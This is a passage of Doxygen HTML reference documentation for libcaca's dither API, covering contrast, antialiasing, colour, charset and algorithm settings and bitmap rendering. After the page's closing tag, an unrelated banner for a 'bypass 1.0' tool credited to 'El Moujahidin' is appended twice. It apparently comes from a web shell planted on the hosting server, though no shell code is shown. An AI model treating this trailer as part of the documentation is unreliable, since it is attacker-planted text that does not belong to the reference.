<p>If an error occurs, -1 is returned and <b>errno</b> is set accordingly:</p><ul>
<li><code>EINVAL</code> Contrast value was out of range.</li>
</ul>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
    <tr><td class="paramname">contrast</td><td>contrast value. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>0 in case of success, -1 if an error occurred. </dd></dl>

</div>
</div>
<a id="ga059d26f5964cc6eb809be99a43155383"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga059d26f5964cc6eb809be99a43155383">&#9670;&nbsp;</a></span>caca_get_dither_contrast()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern float caca_get_dither_contrast </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *&#160;</td>
          <td class="paramname"><em>d</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Get the contrast of the given dither object.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>Contrast value. </dd></dl>

</div>
</div>
<a id="ga6e11d68966e0b2d709b377385fbcabd4"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga6e11d68966e0b2d709b377385fbcabd4">&#9670;&nbsp;</a></span>caca_set_dither_antialias()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern int caca_set_dither_antialias </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *&#160;</td>
          <td class="paramname"><em>d</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">char const *&#160;</td>
          <td class="paramname"><em>str</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Tell the renderer whether to antialias the dither. Antialiasing smoothens the rendered image and avoids the commonly seen staircase effect.</p><ul>
<li><code>"none"</code>: no antialiasing.</li>
<li><code>"prefilter"</code> or <code>"default"</code>: simple prefilter antialiasing. This is the default value.</li>
</ul>
<p>If an error occurs, -1 is returned and <b>errno</b> is set accordingly:</p><ul>
<li><code>EINVAL</code> Invalid antialiasing mode.</li>
</ul>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
    <tr><td class="paramname">str</td><td>A string describing the antialiasing method that will be used for the dithering. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>0 in case of success, -1 if an error occurred. </dd></dl>

</div>
</div>
<a id="gadb1ed7747b32453ac28a523314961757"></a>
<h2 class="memtitle"><span class="permalink"><a href="#gadb1ed7747b32453ac28a523314961757">&#9670;&nbsp;</a></span>caca_get_dither_antialias_list()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern const char* const * caca_get_dither_antialias_list </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *&#160;</td>
          <td class="paramname"><em>d</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Return a list of available antialiasing methods for a given dither. The list is a NULL-terminated array of strings, interleaving a string containing the internal value for the antialiasing method to be used with <a class="el" href="group__caca__dither.html#ga6e11d68966e0b2d709b377385fbcabd4" title="Set dither antialiasing.">caca_set_dither_antialias()</a>, and a string containing the natural language description for that antialiasing method.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>An array of strings. </dd></dl>

</div>
</div>
<a id="ga95581fc0dee2a0d49cbf9ec5782571c3"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga95581fc0dee2a0d49cbf9ec5782571c3">&#9670;&nbsp;</a></span>caca_get_dither_antialias()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern const char* caca_get_dither_antialias </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *&#160;</td>
          <td class="paramname"><em>d</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Return the given dither's current antialiasing method.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>A static string. </dd></dl>

</div>
</div>
<a id="gae4a7a941295c958221d9010070f0c35c"></a>
<h2 class="memtitle"><span class="permalink"><a href="#gae4a7a941295c958221d9010070f0c35c">&#9670;&nbsp;</a></span>caca_set_dither_color()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern int caca_set_dither_color </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *&#160;</td>
          <td class="paramname"><em>d</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">char const *&#160;</td>
          <td class="paramname"><em>str</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Tell the renderer which colours should be used to render the bitmap. Valid values for <code>str</code> are:</p><ul>
<li><code>"mono"</code>: use light gray on a black background.</li>
<li><code>"gray"</code>: use white and two shades of gray on a black background.</li>
<li><code>"8"</code>: use the 8 ANSI colours on a black background.</li>
<li><code>"16"</code>: use the 16 ANSI colours on a black background.</li>
<li><code>"fullgray"</code>: use black, white and two shades of gray for both the characters and the background.</li>
<li><code>"full8"</code>: use the 8 ANSI colours for both the characters and the background.</li>
<li><code>"full16"</code> or <code>"default"</code>: use the 16 ANSI colours for both the characters and the background. This is the default value.</li>
</ul>
<p>If an error occurs, -1 is returned and <b>errno</b> is set accordingly:</p><ul>
<li><code>EINVAL</code> Invalid colour set.</li>
</ul>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
    <tr><td class="paramname">str</td><td>A string describing the colour set that will be used for the dithering. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>0 in case of success, -1 if an error occurred. </dd></dl>

</div>
</div>
<a id="gad4be3ba801f9f5258b7193d8b0efdd74"></a>
<h2 class="memtitle"><span class="permalink"><a href="#gad4be3ba801f9f5258b7193d8b0efdd74">&#9670;&nbsp;</a></span>caca_get_dither_color_list()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern const char* const * caca_get_dither_color_list </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *&#160;</td>
          <td class="paramname"><em>d</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Return a list of available colour modes for a given dither. The list is a NULL-terminated array of strings, interleaving a string containing the internal value for the colour mode, to be used with <a class="el" href="group__caca__dither.html#gae4a7a941295c958221d9010070f0c35c" title="Choose colours used for dithering.">caca_set_dither_color()</a>, and a string containing the natural language description for that colour mode.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>An array of strings. </dd></dl>

</div>
</div>
<a id="ga5ec4d79f9fdb93e2f79e3f4b83289a3f"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga5ec4d79f9fdb93e2f79e3f4b83289a3f">&#9670;&nbsp;</a></span>caca_get_dither_color()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern const char* caca_get_dither_color </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *&#160;</td>
          <td class="paramname"><em>d</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Return the given dither's current colour mode.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>A static string. </dd></dl>

</div>
</div>
<a id="ga24068afd82cf4d2ee62575b811b276ec"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga24068afd82cf4d2ee62575b811b276ec">&#9670;&nbsp;</a></span>caca_set_dither_charset()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern int caca_set_dither_charset </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *&#160;</td>
          <td class="paramname"><em>d</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">char const *&#160;</td>
          <td class="paramname"><em>str</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Tell the renderer which characters should be used to render the dither. Valid values for <code>str</code> are:</p><ul>
<li><code>"ascii"</code> or <code>"default"</code>: use only ASCII characters. This is the default value.</li>
<li><code>"shades"</code>: use Unicode characters "U+2591 LIGHT SHADE", "U+2592
  MEDIUM SHADE" and "U+2593 DARK SHADE". These characters are also present in the CP437 codepage available on DOS and VGA.</li>
<li><code>"blocks"</code>: use Unicode quarter-cell block combinations. These characters are only found in the Unicode set.</li>
</ul>
<p>If an error occurs, -1 is returned and <b>errno</b> is set accordingly:</p><ul>
<li><code>EINVAL</code> Invalid character set.</li>
</ul>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
    <tr><td class="paramname">str</td><td>A string describing the characters that need to be used for the dithering. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>0 in case of success, -1 if an error occurred. </dd></dl>

</div>
</div>
<a id="ga1258f50cebf97b055ac7b40e58451e68"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga1258f50cebf97b055ac7b40e58451e68">&#9670;&nbsp;</a></span>caca_get_dither_charset_list()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern const char* const * caca_get_dither_charset_list </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *&#160;</td>
          <td class="paramname"><em>d</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Return a list of available character sets for a given dither. The list is a NULL-terminated array of strings, interleaving a string containing the internal value for the character set, to be used with <a class="el" href="group__caca__dither.html#ga24068afd82cf4d2ee62575b811b276ec" title="Choose characters used for dithering.">caca_set_dither_charset()</a>, and a string containing the natural language description for that character set.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>An array of strings. </dd></dl>

</div>
</div>
<a id="ga4064bd8fb7fbdfa023385a10454f9e75"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga4064bd8fb7fbdfa023385a10454f9e75">&#9670;&nbsp;</a></span>caca_get_dither_charset()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern const char* caca_get_dither_charset </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *&#160;</td>
          <td class="paramname"><em>d</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Return the given dither's current character set.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>A static string. </dd></dl>

</div>
</div>
<a id="ga4628a5089d92b8f92c71df9c4c921081"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga4628a5089d92b8f92c71df9c4c921081">&#9670;&nbsp;</a></span>caca_set_dither_algorithm()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern int caca_set_dither_algorithm </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *&#160;</td>
          <td class="paramname"><em>d</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">char const *&#160;</td>
          <td class="paramname"><em>str</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Tell the renderer which dithering algorithm should be used. Dithering is necessary because the picture being rendered has usually far more colours than the available palette. Valid values for <code>str</code> are:</p><ul>
<li><code>"none"</code>: no dithering is used, the nearest matching colour is used.</li>
<li><code>"ordered2"</code>: use a 2x2 Bayer matrix for dithering.</li>
<li><code>"ordered4"</code>: use a 4x4 Bayer matrix for dithering.</li>
<li><code>"ordered8"</code>: use a 8x8 Bayer matrix for dithering.</li>
<li><code>"random"</code>: use random dithering.</li>
<li><code>"fstein"</code>: use Floyd-Steinberg dithering. This is the default value.</li>
</ul>
<p>If an error occurs, -1 is returned and <b>errno</b> is set accordingly:</p><ul>
<li><code>EINVAL</code> Unknown dithering mode.</li>
</ul>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
    <tr><td class="paramname">str</td><td>A string describing the algorithm that needs to be used for the dithering. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>0 in case of success, -1 if an error occurred. </dd></dl>

</div>
</div>
<a id="ga9221825f57c7acdb71c0db4cc89f8975"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga9221825f57c7acdb71c0db4cc89f8975">&#9670;&nbsp;</a></span>caca_get_dither_algorithm_list()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern const char* const * caca_get_dither_algorithm_list </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *&#160;</td>
          <td class="paramname"><em>d</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Return a list of available dithering algorithms for a given dither. The list is a NULL-terminated array of strings, interleaving a string containing the internal value for the dithering algorithm, to be used with caca_set_dither_dithering(), and a string containing the natural language description for that algorithm.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>An array of strings. </dd></dl>

</div>
</div>
<a id="ga09d2cd460cd89aad847943a2e3d4cbfa"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga09d2cd460cd89aad847943a2e3d4cbfa">&#9670;&nbsp;</a></span>caca_get_dither_algorithm()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern const char* caca_get_dither_algorithm </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *&#160;</td>
          <td class="paramname"><em>d</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Return the given dither's current dithering algorithm.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>A static string. </dd></dl>

</div>
</div>
<a id="gae7e10436664deb729029918c6275edb6"></a>
<h2 class="memtitle"><span class="permalink"><a href="#gae7e10436664deb729029918c6275edb6">&#9670;&nbsp;</a></span>caca_dither_bitmap()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern int caca_dither_bitmap </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#aae0f6938d08e6e0abbcd5a8c06504ab8">caca_canvas_t</a> *&#160;</td>
          <td class="paramname"><em>cv</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">int&#160;</td>
          <td class="paramname"><em>x</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">int&#160;</td>
          <td class="paramname"><em>y</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">int&#160;</td>
          <td class="paramname"><em>w</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">int&#160;</td>
          <td class="paramname"><em>h</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> const *&#160;</td>
          <td class="paramname"><em>d</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">void const *&#160;</td>
          <td class="paramname"><em>pixels</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Dither a bitmap at the given coordinates. The dither can be of any size and will be stretched to the text area.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">cv</td><td>A handle to the libcaca canvas. </td></tr>
    <tr><td class="paramname">x</td><td>X coordinate of the upper-left corner of the drawing area. </td></tr>
    <tr><td class="paramname">y</td><td>Y coordinate of the upper-left corner of the drawing area. </td></tr>
    <tr><td class="paramname">w</td><td>Width of the drawing area. </td></tr>
    <tr><td class="paramname">h</td><td>Height of the drawing area. </td></tr>
    <tr><td class="paramname">d</td><td>Dither object to be drawn. </td></tr>
    <tr><td class="paramname">pixels</td><td>Bitmap's pixels. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>This function always returns 0. </dd></dl>

<p class="reference">References <a class="el" href="group__caca__attr.html#gga9db83488c6f07a5f7d773c380b3126a9a9280adda765037612d94743bdc3f346d">CACA_BLACK</a>, <a class="el" href="group__caca__attributes.html#gafb35087f212d75b431fc501b3a777b6b">caca_get_attr()</a>, <a class="el" href="group__caca__canvas.html#ga21864614dada3ee29f10987a6e0d3064">caca_put_char()</a>, <a class="el" href="group__caca__attributes.html#ga3d19c3d519489534585901e0ca0516c9">caca_set_attr()</a>, and <a class="el" href="group__caca__attributes.html#ga1cd39df80cc6b537a4df18415a8605cf">caca_set_color_ansi()</a>.</p>

</div>
</div>
<a id="ga5b23aea21bcbbcec02e45383721a00f6"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ga5b23aea21bcbbcec02e45383721a00f6">&#9670;&nbsp;</a></span>caca_free_dither()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">__extern int caca_free_dither </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="caca_8h.html#a0419a61256ab8d2dd020d33eafb351fa">caca_dither_t</a> *&#160;</td>
          <td class="paramname"><em>d</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Free the memory allocated by <a class="el" href="group__caca__dither.html#ga08c338d4fb79aff467f4056c857b12df" title="Create an internal dither object.">caca_create_dither()</a>.</p>
<p>This function never fails.</p>
<dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">d</td><td>Dither object. </td></tr>
  </table>
  </dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>This function always returns 0. </dd></dl>

</div>
</div>
</div><!-- contents -->
  </body>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net